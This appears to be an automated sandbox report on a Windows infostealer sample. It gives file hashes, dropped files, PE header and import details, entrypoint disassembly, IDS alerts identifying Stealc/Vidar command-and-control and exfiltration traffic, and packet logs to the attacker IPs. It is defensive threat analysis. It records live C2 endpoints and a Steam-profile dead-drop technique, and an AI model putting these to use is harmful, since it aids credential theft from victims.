SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EHDHIDAEHC.exe.log

Download File

Process:	C:\ProgramData\EHDHIDAEHC.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199747278259[1].htm

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34745
Entropy (8bit):	5.400456805268228
Encrypted:	false
SSDEEP:	768:Edpqm+0Ih3tAA9CWGhOfcDAJTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2g:Ed8m+0Ih3tAA9CWGhOFJTBv++nIjBtP0
MD5:	4B2C7B28210655D8661E7933D82E06D9
SHA1:	D6AE0BDA158407E3E74DDB084DC8134E1048DD0A
SHA-256:	D44DE6EDB9116F65BFC8EB75318F21E746479CFEB2E74B478F1A1699744C8183
SHA-512:	1856A750B5BD75E5CCD471E0938D3199DCCECDB4346DE5D95E114986AA4B630CC350BE20BE1B66A592F9BCFE97091A1D2A0B7AD30E4D5D744125289F462068AE
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: gi_z2 https://168.119.176.241\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mine[1].exe

Download File

Process:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	5140480
Entropy (8bit):	7.080918121113332
Encrypted:	false
SSDEEP:	98304:rTuq7CQXa0LJ2aMhpxnbUO6PsJrq6GnRHhPf6:mQXa0LP6pxbAPyWRd
MD5:	4B005E8541F7ED9BD82D80CE58C55C7C
SHA1:	E46BCFEF84B9AE99FE02BFBE1EB0AC464BF28CAC
SHA-256:	A8FB80B6E9D920C26922B29171E8301D5D4D9D4F20CD1B07CAD94234B27C61BE
SHA-512:	C336E9BB988CAA3DB0C7880A91349F9DDC5E82CEC145F99E971090658B37C8FA3C39E77438A7F02A0D9D0F8C138EE20AA0B2C836493C65002378E829CD6917AB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..................L.........N.L.. ....M...@.. ........................N.......N...@...................................L.K.... M......................N.......L.............................................. ............... ..H............text...T.L.. ....L................. ..`.sdata........M.......L.............@....rsrc....... M.......L.............@..@.reloc........N......nN.............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\76561199747278259[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3070), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	34745
Entropy (8bit):	5.4006599806036535
Encrypted:	false
SSDEEP:	768:Edpqm+0Ih3tAA9CWGhOfcDAJTBv++nIjBtPF5zfJkPVoEAdLTBv++nIjBtPF5x2g:Ed8m+0Ih3tAA9CWGhOFJTBv++nIjBtP0
MD5:	8D3B00C4179B4B5F7309D634F910F151
SHA1:	2EEB030A6BE89DAA81C78BA7A324C698B914489A
SHA-256:	8737B70CA8D682118B821F7B28FED123FD80AA217B236A75048AA267E08E96D0
SHA-512:	8D7E867F0A39C16391A9350411BF29417D6F00B61B09E034D5E163726BBE2DAC6B200DFF0895990C1686982712DFC699A9C57DF0F53D78154FA26E66E2EC5AFC
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: gi_z2 https://168.119.176.241\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=english" rel="stylesheet" type="text/css" >.<link href="https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english" rel="stylesheet" type="text/css" >.<link

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.310946870957033
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
File size:	186'368 bytes
MD5:	3cd180f72198597215cab492c109f5a0
SHA1:	01ceb31bfcb1f5d6eefffa5bf1c6cb891ca6dd75
SHA256:	5ad0e5d670206288abccd95bb0e3ff1ee9a889b49423cb5160c7c59912991a0d
SHA512:	2e9380e3d4baff0c090421c2da0498494ee4fe4841febe3b0517bf7bfdc319a52e89b172698d8e174bd983724d97965952568d56484cdf04024846c928f54fa2
SSDEEP:	3072:Qiyi/SfJhUwLibCxNKBC6y8WyQQF1h7NOwUPfbldFw0t+Z0vhAVfEgr2Csy5rilr:ZbShBLWANKrBWyt3ZOwUPfbldFw0t+ZA
TLSH:	DC046A72B612883DF8620570DAED37DD847C6D66233C21EBBBE1558834B24E6953933B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M..!..`r..`r..`rf..r..`rf..r2.`r...r..`r...r..`r..as..`r..ar..`rf..r!.`rf..r..`rRich..`r................PE..L...A..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4175f0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66AD1C41 [Fri Aug 2 17:49:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	bf0457e30f7172540414ef6152db6209

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 30h
call 00007F47DD4A167Ah
call 00007F47DD4B6BD5h
push 004201E9h
lea ecx, dword ptr [ebp-0Ch]
call 00007F47DD4AECF8h
call 00007F47DD4AEFC3h
mov edx, dword ptr [0062AB84h]
push eax
lea eax, dword ptr [ebp-18h]
push eax
push 00423414h
lea ecx, dword ptr [ebp-24h]
push ecx
push edx
lea eax, dword ptr [ebp-30h]
push eax
lea ecx, dword ptr [ebp-0Ch]
call 00007F47DD4AEE62h
mov ecx, eax
call 00007F47DD4AEE5Bh
mov ecx, eax
call 00007F47DD4AEE54h
push eax
lea ecx, dword ptr [ebp-0Ch]
call 00007F47DD4AED9Bh
lea ecx, dword ptr [ebp-18h]
call 00007F47DD4AED33h
lea ecx, dword ptr [ebp-24h]
call 00007F47DD4AED2Bh
lea ecx, dword ptr [ebp-30h]
call 00007F47DD4AED23h
lea ecx, dword ptr [ebp-0Ch]
call 00007F47DD4AEEDBh
push eax
push 00000000h
push 001F0003h
call dword ptr [0063B68Ch]
test eax, eax
je 00007F47DD4B6B17h
lea esp, dword ptr [esp+00h]
push eax
call dword ptr [0063B6C0h]
lea ecx, dword ptr [ebp-0Ch]
call 00007F47DD4AEEB6h
push eax
push 00000000h
push 001F0003h
call dword ptr [0063B68Ch]
test eax, eax
jne 00007F47DD4B6AD1h
push esi
lea ecx, dword ptr [ebp-0Ch]
call 00007F47DD4AEE9Bh
push eax
push 00000000h
push 00000000h
push 00000000h
call dword ptr [0063B804h]

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x26fd8	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x23d000	0xb0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x23e000	0x24cc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x20000	0x1a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1e833	0x1ea00	e9b0525a1b28f11d04bb617bebf46667	False	0.5024473852040816	data	6.332825985721632	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x20000	0x78c0	0x7a00	4f8e86243e3a52ccf9c3b65833210d3e	False	0.5944544057377049	OpenPGP Secret Key Version 2	6.0420177802000055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x28000	0x2145c8	0x2600	2f474a89065fad3f188cbc6aefdad7cf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x23d000	0xb0	0x200	56c82b607f4b62b33b36c1af85bbfb67	False	0.279296875	data	4.111904282934072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x23e000	0x4630	0x4800	8bb01057a2eed2993c6f929faacbd356	False	0.42724609375	data	4.384799937310271	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x23d058	0x56	ASCII text, with CRLF line terminators	English	United States	1.0232558139534884

Imports

DLL	Import
msvcrt.dll	srand, memset, strncpy, malloc, _wtoi64, atexit, ??_V@YAXPAX@Z, memchr, strcpy_s, __CxxFrameHandler3, strtok_s, memmove, strchr, memcpy, ??_U@YAPAXI@Z, rand
KERNEL32.dll	WideCharToMultiByte, IsValidCodePage, GetOEMCP, GetACP, GetCPInfo, ExitProcess, GetCurrentProcess, VirtualProtect, lstrlenA, HeapAlloc, GetProcessHeap, lstrlenW, HeapFree, ReadProcessMemory, VirtualQueryEx, OpenProcess, FileTimeToSystemTime, CloseHandle, CreateProcessA, WaitForSingleObject, CreateThread, GetDriveTypeA, GetLogicalDriveStringsA, CreateDirectoryA, ReadFile, SetFilePointer, GetFileSize, GetFileInformationByHandle, lstrcpyA, MapViewOfFile, CreateFileMappingA, CreateFileA, WriteFile, SystemTimeToFileTime, GetLocalTime, GetTickCount, lstrcatA, LCMapStringW, GetComputerNameA, MultiByteToWideChar, LoadLibraryW, GetStringTypeW, InterlockedDecrement, GetCurrentThreadId, SetLastError, InterlockedIncrement, RaiseException, GetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, DecodePointer, TerminateProcess, InitializeCriticalSectionAndSpinCount, LeaveCriticalSection, EnterCriticalSection, RtlUnwind, GetProcAddress, GetModuleHandleW, Sleep, GetStdHandle, GetModuleFileNameW, TlsGetValue, TlsSetValue
USER32.dll	GetDesktopWindow, wsprintfW, CharToOemA
ADVAPI32.dll	GetUserNameA, RegOpenKeyExA, RegGetValueA, GetCurrentHwProfileA
SHELL32.dll	SHFileOperationA
ole32.dll	CoInitializeEx, CoInitializeSecurity, CoCreateInstance, CoSetProxyBlanket
OLEAUT32.dll	VariantInit, SysAllocString, VariantClear, SysFreeString
SHLWAPI.dll

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-08-04T02:21:09.387299+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49735	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:40.705665+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49758	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:05.469356+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49732	443	192.168.2.4	168.119.176.241
2024-08-04T02:22:00.525216+0200	TCP	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	443	49770	168.119.176.241	192.168.2.4
2024-08-04T02:21:33.096263+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49755	443	192.168.2.4	168.119.176.241
2024-08-04T02:22:01.268905+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49771	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:59.869588+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49770	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:57.263946+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49767	443	192.168.2.4	168.119.176.241
2024-08-04T02:22:05.282515+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49773	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:59.217631+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	443	49768	168.119.176.241	192.168.2.4
2024-08-04T02:21:48.867868+0200	TCP	2054495	ET MALWARE Vidar Stealer Form Exfil	49763	80	192.168.2.4	38.180.132.96
2024-08-04T02:22:02.304940+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49772	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:12.059992+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49737	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:16.647582+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49739	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:43.438103+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49760	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:08.096471+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49734	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:20.175940+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49742	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:10.041222+0200	TCP	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	49735	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:06.778617+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49733	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:24.249194+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49749	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:17.658852+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49740	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:28.937524+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49753	443	192.168.2.4	168.119.176.241
2024-08-04T02:22:06.316077+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49774	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:26.017652+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49751	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:13.945829+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	443	49737	168.119.176.241	192.168.2.4
2024-08-04T02:21:22.165718+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49745	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:23.019226+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	443	49745	168.119.176.241	192.168.2.4
2024-08-04T02:21:15.032943+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49738	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:18.841343+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49741	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:10.921800+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49736	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:10.041373+0200	TCP	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	443	49735	168.119.176.241	192.168.2.4
2024-08-04T02:21:45.523846+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49761	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:31.888318+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49754	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:55.959350+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49766	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:54.705262+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49765	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:04.312466+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49731	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:08.728949+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	443	49734	168.119.176.241	192.168.2.4
2024-08-04T02:21:07.424645+0200	TCP	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	49733	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:34.443218+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49756	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:58.572409+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49768	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:47.444673+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49762	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:08.728808+0200	TCP	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	49734	443	192.168.2.4	168.119.176.241
2024-08-04T02:21:27.454102+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49752	443	192.168.2.4	168.119.176.241
2024-08-04T02:22:04.240734+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	443	49772	168.119.176.241	192.168.2.4
2024-08-04T02:21:42.136637+0200	TCP	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	49759	443	192.168.2.4	168.119.176.241

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 4, 2024 02:20:57.667148113 CEST	49675	443	192.168.2.4	173.222.162.32
Aug 4, 2024 02:21:01.856416941 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:01.856461048 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:01.856559992 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:01.866862059 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:01.866897106 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:02.506886959 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:02.507303953 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:02.556612968 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:02.556689024 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:02.556996107 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:02.557177067 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:02.561233997 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:02.604576111 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:03.046766043 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:03.046796083 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:03.046809912 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:03.047033072 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:03.047033072 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:03.047096968 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:03.047168016 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:03.148231983 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:03.148247957 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:03.148437977 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:03.148546934 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:03.148606062 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:03.153722048 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:03.153808117 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:03.153897047 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:03.153898001 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:03.181830883 CEST	49730	443	192.168.2.4	104.102.49.249
Aug 4, 2024 02:21:03.181893110 CEST	443	49730	104.102.49.249	192.168.2.4
Aug 4, 2024 02:21:03.429617882 CEST	49731	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:03.429660082 CEST	443	49731	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:03.429728985 CEST	49731	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:03.430155039 CEST	49731	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:03.430174112 CEST	443	49731	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:04.312339067 CEST	443	49731	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:04.312465906 CEST	49731	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:04.327749968 CEST	49731	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:04.327785969 CEST	443	49731	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:04.328006029 CEST	443	49731	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:04.328095913 CEST	49731	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:04.328382969 CEST	49731	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:04.372539997 CEST	443	49731	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:04.761954069 CEST	443	49731	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:04.762006044 CEST	443	49731	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:04.762017965 CEST	49731	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:04.762054920 CEST	49731	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:04.765096903 CEST	49731	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:04.765116930 CEST	443	49731	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:04.781393051 CEST	49732	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:04.781476021 CEST	443	49732	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:04.781570911 CEST	49732	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:04.781863928 CEST	49732	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:04.781900883 CEST	443	49732	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:05.469266891 CEST	443	49732	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:05.469356060 CEST	49732	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:05.470149040 CEST	49732	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:05.470160961 CEST	443	49732	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:05.471995115 CEST	49732	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:05.472002029 CEST	443	49732	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:06.112791061 CEST	443	49732	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:06.112850904 CEST	443	49732	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:06.113017082 CEST	49732	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:06.113017082 CEST	49732	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:06.113168955 CEST	49732	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:06.113207102 CEST	443	49732	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:06.121984959 CEST	49733	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:06.122025967 CEST	443	49733	168.119.176.241	192.168.2.4
Aug 4, 2024 02:21:06.122117043 CEST	49733	443	192.168.2.4	168.119.176.241
Aug 4, 2024 02:21:06.122355938 CEST	49733	443	192.168.2.4	168.119.176.241
